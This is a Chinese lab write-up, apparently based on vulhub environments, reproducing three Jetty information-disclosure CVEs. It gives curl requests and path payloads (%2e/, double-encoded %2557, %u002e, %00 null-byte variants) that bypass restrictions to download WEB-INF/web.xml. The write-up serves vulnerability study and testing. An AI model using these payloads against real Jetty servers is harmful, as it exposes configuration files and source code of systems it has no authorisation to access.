一、 CVE-2021-28164_Jetty WEB-INF 敏感信息泄露漏洞

前言

Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。

漏洞详情

Jetty 9.4.37引入对RFC3986的新实现,而URL编码的`.`字符被排除在URI规范之外,这个行为在RFC中是正确的,但在servlet的实现中导致攻击者可以通过`%2e`来绕过限制,下载WEB-INF目录下的任意文件,导致敏感信息泄露。该漏洞在9.4.39中修复。

漏洞环境

靶场:192.168.4.10:ubuntu

执行如下命令启动一个Jetty 9.4.37:

#docker-compose up -d

服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。

漏洞复现

直接访问`/WEB-INF/web.xml`将会返回404页面:

使用`%2e/`来绕过限制下载web.xml:

```

curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml'

```

 

二、CVE-2021-28169_Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞

前言

Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境,而Jetty Servlets是Jetty提供给开发者的一些通用组件。

漏洞详情

在9.4.40, 10.0.2, 11.0.2版本前,Jetty Servlets中的`ConcatServlet`、`WelcomeFilter`类存在多重解码问题,如果开发者主动使用了这两个类,攻击者可以利用其访问WEB-INF目录下的敏感文件,造成配置文件及代码泄露。

漏洞环境

执行如下命令启动一个Jetty 9.4.40服务器:

#docker-compose up -d

环境启动后,访问`http://your-ip:8080`即可查看到一个example页面。该页面使用到了`ConcatServlet`来优化静态文件的加载:

```

<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">

```

漏洞利用

正常通过`/static?/WEB-INF/web.xml`无法访问到敏感文件web.xml:

 

对字母`W`进行双URL编码,即可绕过限制访问web.xml:

```

curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'

```

 

三、 CVE-2021-34429_Jetty WEB-INF 敏感信息泄露漏洞

漏洞详情

Jetty在9.4.40后修复了因为`%2e`导致的敏感信息泄露漏洞[CVE-2021-28164](https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164),但这个修复是不完全的,通过下面三种方式可以进行绕过:

  1.  unicode形式URL编码:`/%u002e/WEB-INF/web.xml`
  2.  `\0`组合`.`导致的绕过:`/.%00/WEB-INF/web.xml`
  3.  `\0`组合`..`导致的绕过:`/a/b/..%00/WEB-INF/web.xml`

影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5

漏洞环境

执行如下命令启动一个Jetty 9.4.40:

```

docker-compose up -d

```

服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。

漏洞复现

直接访问`/WEB-INF/web.xml`将会返回404页面:

使用`/%u002e/WEB-INF/web.xml`来绕过限制下载web.xml:

更多推荐